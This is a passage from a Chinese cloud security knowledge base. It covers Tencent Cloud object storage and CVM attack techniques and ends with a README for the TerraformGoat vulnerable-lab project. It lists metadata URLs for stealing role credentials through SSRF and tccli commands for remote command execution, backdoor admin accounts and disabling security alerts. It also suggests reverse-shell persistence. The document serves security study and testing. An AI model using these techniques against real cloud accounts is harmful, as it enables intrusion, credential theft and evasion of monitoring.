![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354471-149479-image.png) 147 | 148 | 然后查看共享用户数,选择手动录入,输入自己的账号ID即可,返回自己的账号看下 149 | 150 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354483-100347-image.png) 151 | 152 | 直接点击后面的登录 153 | 154 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354490-999734-image.png) 155 | 156 | 这样就可以在管理员不注意的情况下一直可以登录对方的数据库实例 157 | ##### 4、修改现有账号权限 158 | 例如账号无法使用UPDATE,CREATE等权限,可以在用户管理-全局权限处设置 159 | 160 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354501-105129-image.png) 161 | 162 | ### 0x06 防御绕过 163 | 可关闭告警相关的所有订阅 164 | ### 0x07 信息收集 165 | ##### 1、日志下载 166 | 可下载错误日志,慢日志和主备切换日志来查找信息 167 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354551-943184-image.png) 168 | 169 | ##### 2、备份数据库 170 | 可下载已备份数据库到本地,来搜集信息 171 | 172 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354560-703348-image.png) 173 | 174 | ### 0x08 影响 175 | 可导致数据库信息泄漏,数据被篡改盗用等等 176 | 177 | 参考链接: 178 | https://zone.huoxian.cn/d/1105-aws 179 | -------------------------------------------------------------------------------- /docs/articles/tencentcloud/腾讯云 COS 对象存储攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 腾讯云 COS 对象存储攻防 3 | id: tencent_cos 4 | --- 5 | 6 | ## 0x01 Bucket 公开访问 7 | 腾讯云存储桶的访问权限默认为私有读写权限,且存储桶名称会带上一串时间戳: 8 | 9 | > 这个时间戳其实就是用户自己的 APPID 值 10 | 11 | 12 | 13 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-07/1646619897-229691-image.png) 14 | 15 | 账户中的访问策略包括用户组策略、用户策略、存储桶访问控制列表(ACL)和存储桶策略(Policy)等不同的策略类型。当腾讯云 COS 收到请求时,首先会确认请求者身份,并验证请求者是否拥有相关权限。验证的过程包括检查用户策略、存储桶访问策略和基于资源的访问控制列表,对请求进行鉴权。 16 | 17 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-07/1646619904-160188-image.png) 18 | 19 | --摘自腾讯云官方文档 20 | 上图我们仅配置了存储桶访问权限,于是因为设置了私有读写,无权访问该文件,Message 为 “Access Denied.” 21 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-07/1646619909-836714-image.png) 22 | 23 | ## 0x02 Bucket Object 遍历 24 | 如果策略中允许了Object的List操作,则在目标资源范围下,会将所有的Bucket Object显示出来,这时,Key值可以理解为文件的目录,通过拼接可获取对应的文件: 25 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-07/1646619915-588089-image.png) 26 | 27 | 有趣的是,在腾讯云的访问策略体系中,如果存储桶访问权限为私有读写,且 Policy 权限为匿名访问,那么 Policy 权限的优先级高于存储桶访问权限。 28 | 如果控制台配置了Policy权限,默认是对所有用户生效,并且允许所有操作,这时即使存储桶访问权限配置为私有读写,匿名用户也可通过遍历Bucket Object,获取对应的文件。 29 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-07/1646619921-669374-image.png) 30 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-07/1646619926-465949-image.png) 31 | 32 | 33 | ## 0x03 Bucket 爆破 34 | 当访问的存储桶不存在时,Message 为 “NoSuchBucket”,通过响应包返回内容的对比,可以筛选出已存在的存储桶域名。 35 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-07/1646619937-126107-image.png) 36 | 37 | ## 0x04 Bucket 接管 38 | 由于Bucket 接管是由于管理人员未删除指向该服务的DNS记录,攻击者创建同名Bucket进而让受害域名解析所造成的,关键在于攻击者是否可创建同名Bucket,腾讯云有特定的存储桶命名格式,即 39 | ``` 40 | -+cos.ap-nanjing.myqcloud.com 41 | ``` 42 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-07/1646619947-13831-image.png) 43 | 44 | 而appid是在控制台用时间戳随机生成的,因此无法创建同名Bucket,故不存在Bucket 接管问题: 45 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-07/1646619952-217415-image.png) 46 | 47 | 48 | ## 0x05 任意文件上传与覆盖 49 | 由于Bucket不支持重复命名,所以当匿名用户拥有写入权限时,可通过任意文件上传对原有文件进行覆盖,通过PUT请求可上传和覆盖任意文件 50 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-07/1646619959-181505-image.png) 51 | 52 | ## 0x06 用户身份凭证(签名)泄露 53 | 通过 RESTful API 对对象存储(Cloud Object Storage,COS)可以发起 HTTP 匿名请求或 HTTP 签名请求。匿名请求一般用于需要公开访问的场景,例如托管静态网站;此外,绝大部分场景都需要通过签名请求完成。 54 | 签名请求相比匿名请求,多携带了一个签名值,签名是基于密钥(SecretId/SecretKey)和请求信息加密生成的字符串。SDK 会自动计算签名,您只需要在初始化用户信息时设置好密钥,无需关心签名的计算;对于通过 RESTful API 发起的请求,需要按照签名算法计算签名并添加到请求中。--摘自官方文档 55 | 代表腾讯云用户签名的参数为:SecretId/SecretKey,在开发过程中可能有如下几处操作失误会导致SecretId/SecretKey泄露,获取到SecretId/SecretKey相当于拥有了对应用户的权限,从而操控Bucket 56 | ### Github中配置文件中泄露凭证 57 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-07/1646619970-831294-image.png) 58 | 59 | ### 小程序\APP反编译源码中泄露凭证 60 | ### 错误使用SDK泄露凭证 61 | 常见场景:代码调试时不时从服务器端获取签名字符串,而是从客户端获取硬编码的签名字符串 62 | 官方SDK使用文档:https://cloud.tencent.com/document/product/436/8095 63 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-07/1646619978-923960-image.png) 64 | 65 | ### 第三方组件配置不当导致泄露凭证 66 | 常见场景:/actuator/heapdump堆转储文件泄露SecretId/SecretKey 67 | ## 0x07 Bucket ACL 可读/写 68 | 列出Bucket Object提示无权访问: 69 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-07/1646619986-46380-image.png) 70 | 71 | 查看Bucket的ACL配置,发现有http://cam.qcloud.com/groups/global/AllUsers下有FULL_CONTROL权限 72 | ``` 73 | GET /?acl HTTP/1.1 74 | Host: .cos..myqcloud.com 75 | Date: GMT Date 76 | Authorization: Auth String 77 | ``` 78 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-07/1646619999-446660-image.png) 79 | 80 | 81 | 官方文档中有对ACL权限配置参数的说明:https://cloud.tencent.com/document/product/436/30752#.E6.93.8D.E4.BD.9C-permission 82 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-07/1646620006-451246-image.png) 83 | 84 | FULL_CONTROL代表匿名用户有完全控制权限,于是在通过PUT ACL写入策略,将存储桶的访问权限配置为公有读写: 85 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-07/1646620013-494342-image.png) 86 | -------------------------------------------------------------------------------- /docs/articles/tencentcloud/腾讯云 CVM 弹性计算服务攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 腾讯云 CVM 弹性计算服务攻防 3 | id: tencent_cvm 4 | --- 5 | 6 | ## 0x01 初始访问 7 | ### 1. SSRF与元数据 8 | 腾讯云服务器会公开每个实例的内部服务,如果发现云服务器中的SSRF漏洞,可以直接查询主机实例的元数据从而进一步深入利用。 9 | 10 | 11 | 12 | 当发现在云服务器上存在的 SSRF 漏洞,可尝试如下请求: 13 | 14 | ``` 15 | http://metadata.tencentyun.com/latest/meta-data/ 获取 metadata 版本信息。 16 | 查询实例元数据。 17 | 18 | http://metadata.tencentyun.com/latest/meta-data/placement/region 19 | 获取实例物理所在地信息。 20 | 21 | http://metadata.tencentyun.com/latest/meta-data/local-ipv4 22 | 获取实例内网 IP。实例存在多张网卡时,返回 eth0 设备的网络地址。 23 | 24 | http://metadata.tencentyun.com/latest/meta-data/public-ipv4 25 | 获取实例公网 IP。 26 | 27 | http://metadata.tencentyun.com/network/interfaces/macs/${mac}/vpc-id 28 | 实例网络接口 VPC 网络 ID。 29 | 30 | 在获取到角色名称后,可以通过以下链接取角色的临时凭证,${role-name} 为CAM 角色的名称: 31 | http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/${role-name} 32 | ``` 33 | 34 | 如果查询到存在SSRF漏洞的服务器在云上,则可以尝试读取角色的临时凭证进而接管该角色的身份,要注意的是只有在实例绑定了 CAM 角色后才能获取到临时凭证,如果没有指定CAM 角色的名称,接口会返回404。 35 | 相关漏洞案例: 36 | https://hackerone.com/reports/341876 37 | 38 | ### 2. 凭证泄露 39 | 40 | - **控制台登录凭证泄露** 41 | 42 | 腾讯云控制台支持邮箱、QQ、子用户的密码登录,这类数据较多泄露在可公开访问的网盘文件中,获取到账号密码后可登录控制台对云服务器执行密码重置,删除实例,shell命令执行等操作。 43 | 44 | - **API 密钥泄露** 45 | 46 | API 密钥是构建腾讯云 API 请求的重要凭证,这类数据较多泄露在GitHub、逆向后的客户端源码、js前端代码中,获取到SecretId和SecretKey后相当于拥有了对应用户的身份权限,如果该账户下有权限管理云服务器,则可以通过检索主机接管账户下的云服务器。 47 | 推荐使用图形化工具接管云主机:https://yun.cloudbility.com/ 48 | 49 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648621943-432421-image.png) 50 | 51 | 输入正确的API密钥后会检索当前身份各区域是否有云主机管理权限: 52 | 53 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648621968-144288-image.png) 54 | 55 | 导入云主机后可通过基础运维功能图形化管理云服务器: 56 | 57 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648621978-444151-image.png) 58 | 59 | - **其他关键身份凭证信息泄露。** 60 | 61 | 比如证书、签名、token、远程连接密码、私钥等数据。这类数据较多泄露在某些配置文件中。 62 | 63 | ### 3. 账户劫持 64 | 65 | 利用云厂商控制台本身的漏洞对用户账号进行劫持,常见的比如携带token信息的任意URL跳转、XSS、暴力破解等攻击手段进入其他用户的控制台进而获取云服务器权限。 66 | 67 | ### 4. 镜像投毒 68 | 69 | 部分操作系统会出现无人维护更新的情况,云服务商会将这些系统的镜像下线或者替换,自定义服务器镜像可以让用户有更多的选择空间以满足业务的需求。攻击者可以制作带有后门的恶意镜像,通过共享镜像进行操作系统投毒,比如预设一些定时任务、劫持正常系统命令等操作。 70 | 71 | ## 0x02 命令执行 72 | 73 | ### 1. 通过云控制台执行命令 74 | 75 | 攻击者在初始访问阶段获取到平台登录凭据后,可以利用平台凭据登录云平台,并直接使用云平台提供的Web控制台登录云服务器实例,在成功登录实例后,攻击者可以在实例内部执行命令。 76 | 77 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622115-501213-image.png) 78 | 79 | 找到自动化助手后创建命令 80 | 81 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622143-794619-image.png) 82 | 83 | 保存后执行,点击命令名称后显示返回详情: 84 | 85 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622156-250708-image.png) 86 | 87 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622183-29029-image.png) 88 | 89 | ### 2. 命令行工具 TCCLI 执行命令 90 | 91 | 安装命令行工具 TCCLI 92 | 93 | `sudo pip install tccli` 94 | 95 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622224-973866-image.png) 96 | 97 | 配置API密钥 98 | 99 | `tccli configure` 100 | 101 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622248-458063-image.png) 102 | 103 | 生成json格式示例: 104 | 105 | `tccli tat RunCommand -generate-cli-skeleton` 106 | 107 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622261-833779-image.png) 108 | 109 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622351-387328-image.png) 110 | 111 | 将生成的json数据保存至本地后,设置Content(base64后的命令)和InstanceIds(实例ID)后执行: 112 | 113 | `tcclitat RunCommand --cli-input-json file://D:\learn\1.json` 114 | 115 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622375-382784-image.png) 116 | 117 | 成功执行ping命令: 118 | 119 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622384-263732-image.png) 120 | 121 | ### 3. 利用云服务器上的服务漏洞 122 | 123 | 参考传统渗透测试的方法,可通过SSH弱口令、web应用漏洞、中间件漏洞、操作系统主机漏洞等方式获取云服务器权限。 124 | 125 | ## 0x03 权限维持 126 | 127 | ### 1. 修改启动配置 128 | 129 | 访问https://console.cloud.tencent.com/autoscaling/config,修改启动配置,在设置主机步骤时可添加shell脚本,可以加入反弹shell脚本或者其他恶意命令。 130 | 131 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622429-284144-image.png) 132 | 133 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622439-445060-image.png) 134 | 135 | ### 2. 恶意镜像库插入后门 136 | 137 | 在控制台中进入实例镜像页面,通过制作带有后门镜像对云服务器进行权限维持,后面一旦用户使用恶意镜像创建实例,便会触发后门程序。 138 | 139 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622446-869122-image.png) 140 | 141 | ### 3. 创建多个API密钥 142 | 143 | 作为构建腾讯云 API 请求的重要凭证,API密钥的保管至关重要,若攻击者有了控制台权限,可创建多个API密钥以做备用。 144 | 145 | ### 4. 创建多个子账号 146 | 147 | 执行以下命令创建一个用户 148 | 149 | `tccli cam AddUser --Name=test124 --Remark=test --ConsoleLogin=1 --UseApi=1 --Password=Test@123456 --NeedResetPassword=0 --PhoneNum=10086 --CountryCode=+86 --Email=123@qq.com` 150 | 151 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622857-530030-image.png) 152 | 153 | 获取用户权限边界,当前显示改用户没有添加任何策略,因此无法操作cvm: 154 | 155 | `tccli cam GetUserPermissionBoundary --TargetUin=100024621854` 156 | 157 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622864-834344-image.png) 158 | 159 | 列出策略列表: 160 | 161 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622874-170101-image.png) 162 | 163 | 将PolicyId=1的策略即管理员权限绑定给新建的用户 164 | 165 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622885-5028-image.png) 166 | 167 | 至此成功创建一个新的管理员账户。 168 | 169 | ## 0x04 权限提升 170 | 171 | 参考传统渗透测试的方法,可通过内核漏洞、应用程序漏洞、主机服务漏洞等方式对云服务器进行提权。 172 | 173 | ## 0x05 防御绕过 174 | 175 | ### 1、关闭告警通知 176 | 177 | 在控制台-主机安全-告警设置处可关闭包括入侵检测、安全漏洞、安全基线、攻击检测、网页防篡改等通知 178 | 179 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622900-462363-image.png) 180 | 181 | 关闭异常登录告警实例: 182 | 183 | `tccli cwp ModifyWarningSetting --cli-input-json file://D:\learn\1.json` 184 | 185 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622919-634469-image.png) 186 | 187 | ### 2、绕过风控限制 188 | 189 | 部分云厂商的风控机制有时会拦截掉一些敏感操作: 190 | 191 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622932-964136-image.png) 192 | 193 | 需要绕过风控也是控制台接管攻击方式的一个弊端,经测试,扫码成功后其实后端会返回一个有效的token值来允许用户的操作,设想如果该token校验值没有和控制台用户身份进行绑定,就可能使用该token对其他用户的云服务器进行非法操作,这里只提供一种绕过思路,腾讯云本身不存在该问题。 194 | 195 | ## 0x06 横向移动 196 | 197 | ### 1. 网段信息 198 | 199 | 在控制台-私有网络处可查询有用户创建的私有网段信息: 200 | 201 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622943-985647-image.png) 202 | 203 | 使用API密钥查询VPC列表: 204 | 205 | `tccli vpc DescribeVpcs` 206 | 207 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648622955-337677-image.png) 208 | 209 | ### 2. 通用密码或者远程登录密钥 210 | 211 | 运维配置实例时可能是统一用批量脚本进行创建的,获取控制台权限后可以通过读取统一配置的密码或者远程登录密钥攻击其他云服务器。 212 | 使用API密钥查询密钥对列表: 213 | 214 | `tccli cvm DescribeKeyPairs` 215 | 216 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648623017-391222-image.png) 217 | 218 | ### 3. 元数据窃取 219 | 220 | 元数据中检索用户数据的接口也常被用来在漏洞案例中证明危害,很多时候我们希望在创建实例时能够自动对加载一些配置,比如添加用户、配置网络,下载某些软件并安装等等,user-data能让用户自定义配置文件和脚本,这些启动脚本可能包括密码、私钥、源代码等,通过如下地址访问腾讯云服务器实例创建时默认加载的脚本: 221 | http://metadata.tencentyun.com/latest/user-data 222 | 223 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-30/1648623033-579325-image.png) 224 | 225 | 参考案例:https://hackerone.com/reports/53088 226 | -------------------------------------------------------------------------------- /docs/goat.md: -------------------------------------------------------------------------------- 1 | --- 2 | id: goat 3 | sidebar_position: 1 4 | title: 靶场 5 | --- 6 | 7 | # TerraformGoat 8 | 9 | [![License: Apache-2.0](https://img.shields.io/badge/license-Apache--2.0-blue)](https://github.com/HXSecurity/TerraformGoat/blob/main/LICENSE) [![GitHub release](https://img.shields.io/github/release/HXSecurity/TerraformGoat.svg)](https://github.com/HXSecurity/TerraformGoat/releases) [![Github Stars](https://img.shields.io/github/stars/HXSecurity/TerraformGoat)](https://github.com/HXSecurity/TerraformGoat/stargazers) [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](https://github.com/HXSecurity/TerraformGoat/pulls) [![tweet](https://img.shields.io/twitter/url?url=https://github.com/HXSecurity/TerraformGoat)](https://twitter.com/intent/tweet/?text=TerraformGoat%20is%20HXSecurity%20research%20lab's%20%22Vulnerable%20by%20Design%22%20multi%20cloud%20deployment%20tool.%20Check%20it%20out%20https%3A%2F%2Fgithub.com%2FHXSecurity%2FTerraformGoat%0A%23TerraformGoat%20%23Terraform%20%23Cloud%20%23Security%20%23cloudsecurity) 10 | 11 | TerraformGoat 靶场项目地址为:[https://github.com/HXSecurity/TerraformGoat](https://github.com/HXSecurity/TerraformGoat) 12 | 13 | TerraformGoat 是一个支持多云的云场景漏洞靶场搭建工具,目前支持阿里云、腾讯云、华为云、Amazon Web Services、Google 14 | Cloud Platform、Microsoft Azure 六个云厂商的云场景漏洞搭建。 15 | 16 | ## :dart: 目前所支持的场景 17 | 18 | | 序号 | 云厂商 | 云服务类型 | 漏洞环境 | 19 | | :--: | :-------------------: | :------------: | :----------------------------------------------------------: | 20 | | 1 | 阿里云 | 网络 | [VPC 安全组允许所有端口访问](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/networking/vpc_security_group_open_all_ports) | 21 | | 2 | 阿里云 | 网络 | [VPC 安全组允许常见端口访问](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/networking/vpc_security_group_open_common_ports) | 22 | | 3 | 阿里云 | 对象存储 | [任意文件上传](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/oss/unrestricted_file_upload) | 23 | | 4 | 阿里云 | 对象存储 | [Bucket 对象遍历](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/oss/bucket_object_traversal) | 24 | | 5 | 阿里云 | 对象存储 | [Object ACL 可写](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/oss/object_acl_writable) | 25 | | 6 | 阿里云 | 对象存储 | [Object ACL 可读](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/oss/object_acl_readable) | 26 | | 7 | 阿里云 | 对象存储 | [Bucket 公开访问](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/oss/bucket_public_access) | 27 | | 8 | 阿里云 | 对象存储 | [Object 公开访问](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/oss/object_public_access) | 28 | | 9 | 阿里云 | 对象存储 | [Bucket 策略可读](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/oss/bucket_policy_readable) | 29 | | 10 | 阿里云 | 对象存储 | [Bucket HTTP 开启](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/oss/bucket_http_enable) | 30 | | 11 | 阿里云 | 对象存储 | [特殊的 Bucket 策略](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/oss/special_bucket_policy) | 31 | | 12 | 阿里云 | 对象存储 | [Bucket 日志转存未开启](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/oss/bucket_logging_disable) | 32 | | 13 | 阿里云 | 对象存储 | [Bucket 服务端加密未使用 KMS](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/oss/server_side_encryption_no_kms_set) | 33 | | 14 | 阿里云 | 对象存储 | [Bucket 服务端加密未使用 BYOK](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/oss/server_side_encryption_not_using_BYOK) | 34 | | 15 | 阿里云 | 弹性计算服务 | [ECS SSRF 漏洞环境](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/ecs/ecs_ssrf) | 35 | | 16 | 阿里云 | 弹性计算服务 | [ECS 未连接的磁盘未开启加密](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/ecs/ecs_unattached_disks_are_unencrypted) | 36 | | 17 | 阿里云 | 弹性计算服务 | [ECS 虚拟机的磁盘未开启加密](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/ecs/ecs_virtual_machine_disks_are_unencrypted) | 37 | | 18 | 腾讯云 | 网络 | [VPC 安全组允许所有端口访问](https://github.com/HXSecurity/TerraformGoat/tree/main/tencentcloud/networking/vpc_security_group_open_all_ports) | 38 | | 19 | 腾讯云 | 网络 | [VPC 安全组允许常见端口访问](https://github.com/HXSecurity/TerraformGoat/tree/main/tencentcloud/networking/vpc_security_group_open_common_ports) | 39 | | 20 | 腾讯云 | 对象存储 | [任意文件上传](https://github.com/HXSecurity/TerraformGoat/tree/main/tencentcloud/cos/unrestricted_file_upload) | 40 | | 21 | 腾讯云 | 对象存储 | [Bucket 对象遍历](https://github.com/HXSecurity/TerraformGoat/tree/main/tencentcloud/cos/bucket_object_traversal) | 41 | | 22 | 腾讯云 | 对象存储 | [Bucket 公开访问](https://github.com/HXSecurity/TerraformGoat/tree/main/tencentcloud/cos/bucket_public_access) | 42 | | 23 | 腾讯云 | 对象存储 | [Object 公开访问](https://github.com/HXSecurity/TerraformGoat/tree/main/tencentcloud/cos/object_public_access) | 43 | | 24 | 腾讯云 | 对象存储 | [Bucket ACL 可写](https://github.com/HXSecurity/TerraformGoat/tree/main/tencentcloud/cos/bucket_acl_writable) | 44 | | 25 | 腾讯云 | 对象存储 | [Bucket ACL 可读](https://github.com/HXSecurity/TerraformGoat/tree/main/tencentcloud/cos/bucket_acl_readable) | 45 | | 26 | 腾讯云 | 对象存储 | [服务端加密未开启](https://github.com/HXSecurity/TerraformGoat/tree/main/tencentcloud/cos/server_side_encryption_disable) | 46 | | 27 | 腾讯云 | 对象存储 | [Bucket 日志存储未开启](https://github.com/HXSecurity/TerraformGoat/tree/main/tencentcloud/cos/bucket_logging_disable) | 47 | | 28 | 腾讯云 | 弹性计算服务 | [CVM SSRF 漏洞环境](https://github.com/HXSecurity/TerraformGoat/tree/main/tencentcloud/cvm/cvm_ssrf) | 48 | | 29 | 腾讯云 | 弹性计算服务 | [CVM 虚拟机的磁盘未开启加密](https://github.com/HXSecurity/TerraformGoat/tree/main/tencentcloud/cvm/cvm_virtual_machine_disks_are_unencrypted) | 49 | | 30 | 华为云 | 网络 | [ECS 不安全的安全组配置](https://github.com/HXSecurity/TerraformGoat/tree/main/huaweicloud/networking/cis_unsafe_secgroup) | 50 | | 31 | 华为云 | 对象存储 | [任意文件上传](https://github.com/HXSecurity/TerraformGoat/tree/main/huaweicloud/obs/unrestricted_file_upload) | 51 | | 32 | 华为云 | 对象存储 | [Object ACL 可写](https://github.com/HXSecurity/TerraformGoat/tree/main/huaweicloud/obs/object_acl_writable) | 52 | | 33 | 华为云 | 对象存储 | [Bucket 对象遍历](https://github.com/HXSecurity/TerraformGoat/tree/main/huaweicloud/obs/bucket_object_traversal) | 53 | | 34 | 华为云 | 对象存储 | [特殊的 Bucket 策略](https://github.com/HXSecurity/TerraformGoat/tree/main/huaweicloud/obs/special_bucket_policy) | 54 | | 35 | 华为云 | 对象存储 | [错误的 Policy 策略导致任意文件上传](https://github.com/HXSecurity/TerraformGoat/tree/main/huaweicloud/obs/policy_of_unrestricted_file_upload) | 55 | | 36 | 华为云 | 弹性计算服务 | [ECS SSRF 漏洞环境](https://github.com/HXSecurity/TerraformGoat/tree/main/huaweicloud/ecs/ecs_ssrf) | 56 | | 37 | 华为云 | 关系型数据库 | [RDS Mysql基线检查环境](https://github.com/HXSecurity/TerraformGoat/tree/main/huaweicloud/rds/cis_rds_mysql) | 57 | | 38 | Amazon Web Services | 网络 | [VPC 安全组允许所有端口访问](https://github.com/HXSecurity/TerraformGoat/tree/main/aws/networking/vpc_security_group_open_all_ports) | 58 | | 39 | Amazon Web Services | 网络 | [VPC 安全组允许常见端口访问](https://github.com/HXSecurity/TerraformGoat/tree/main/aws/networking/vpc_security_group_open_common_ports) | 59 | | 40 | Amazon Web Services | 对象存储 | [任意文件上传](https://github.com/HXSecurity/TerraformGoat/tree/main/aws/s3/unrestricted_file_upload) | 60 | | 41 | Amazon Web Services | 对象存储 | [Object ACL 可写](https://github.com/HXSecurity/TerraformGoat/tree/main/aws/s3/object_acl_writable) | 61 | | 42 | Amazon Web Services | 对象存储 | [Bucket ACL 可写](https://github.com/HXSecurity/TerraformGoat/tree/main/aws/s3/bucket_acl_writable) | 62 | | 43 | Amazon Web Services | 对象存储 | [Bucket ACL 可读](https://github.com/HXSecurity/TerraformGoat/tree/main/aws/s3/bucket_acl_readable) | 63 | | 44 | Amazon Web Services | 对象存储 | [Bucket 对象遍历](https://github.com/HXSecurity/TerraformGoat/tree/main/aws/s3/bucket_object_traversal) | 64 | | 45 | Amazon Web Services | 对象存储 | [特殊的 Bucket 策略](https://github.com/HXSecurity/TerraformGoat/tree/main/aws/s3/special_bucket_policy) | 65 | | 46 | Amazon Web Services | 对象存储 | [Bucket 允许 HTTP 访问](https://github.com/HXSecurity/TerraformGoat/tree/main/aws/s3/bucket_allow_http_access) | 66 | | 47 | Amazon Web Services | 对象存储 | [Bucket 默认加密未开启](https://github.com/HXSecurity/TerraformGoat/tree/main/aws/s3/bucket_default_encryption_disable) | 67 | | 48 | Amazon Web Services | 对象存储 | [Bucket 日志转存未开启](https://github.com/HXSecurity/TerraformGoat/tree/main/aws/s3/bucket_logging_disable) | 68 | | 49 | Amazon Web Services | 对象存储 | [Bucket 删除未开启 MFA](https://github.com/HXSecurity/TerraformGoat/tree/main/aws/s3/mfa_delete_is_disable) | 69 | | 50 | Amazon Web Services | 弹性计算服务 | [EC2 SSRF 漏洞环境](https://github.com/HXSecurity/TerraformGoat/tree/main/aws/ec2/ec2_ssrf) | 70 | | 51 | Amazon Web Services | 弹性计算服务 | [控制台接管漏洞环境](https://github.com/HXSecurity/TerraformGoat/tree/main/aws/ec2/console_takeover) | 71 | | 52 | Amazon Web Services | 弹性计算服务 | [EBS 卷加密默认未开启](https://github.com/HXSecurity/TerraformGoat/tree/main/aws/ec2/EBS_volume_encryption_is_disabled) | 72 | | 53 | Amazon Web Services | 身份和访问管理 | [IAM 提权环境](https://github.com/HXSecurity/TerraformGoat/tree/main/aws/iam/privilege_escalation) | 73 | | 54 | Google Cloud Platform | 对象存储 | [任意文件上传](https://github.com/HXSecurity/TerraformGoat/tree/main/gcp/cs/unrestricted_file_upload) | 74 | | 55 | Google Cloud Platform | 对象存储 | [Object ACL 可写](https://github.com/HXSecurity/TerraformGoat/tree/main/gcp/cs/object_acl_writable) | 75 | | 56 | Google Cloud Platform | 对象存储 | [Bucket ACL 可写](https://github.com/HXSecurity/TerraformGoat/tree/main/gcp/cs/bucket_acl_writable) | 76 | | 57 | Google Cloud Platform | 对象存储 | [Bucket 对象遍历](https://github.com/HXSecurity/TerraformGoat/tree/main/gcp/cs/bucket_object_traversal) | 77 | | 58 | Google Cloud Platform | 弹性计算服务 | [VM 命令执行漏洞环境](https://github.com/HXSecurity/TerraformGoat/tree/main/gcp/vm/vm_command_execution) | 78 | | 59 | Microsoft Azure | 对象存储 | [Blob 公开访问](https://github.com/HXSecurity/TerraformGoat/tree/main/azure/blob/blob_public_access/) | 79 | | 60 | Microsoft Azure | 对象存储 | [Container Blob 遍历](https://github.com/HXSecurity/TerraformGoat/tree/main/azure/blob/container_blob_traversal/) | 80 | | 61 | Microsoft Azure | 弹性计算服务 | [VM 命令执行漏洞环境](https://github.com/HXSecurity/TerraformGoat/tree/main/azure/vm/vm_command_execution) | 81 | 82 | ## :dizzy: 安装 83 | 84 | 根据你使用到的云服务提供商,选择对应的安装命令。 85 | 86 | 阿里云 87 | 88 | ```bash 89 | docker pull 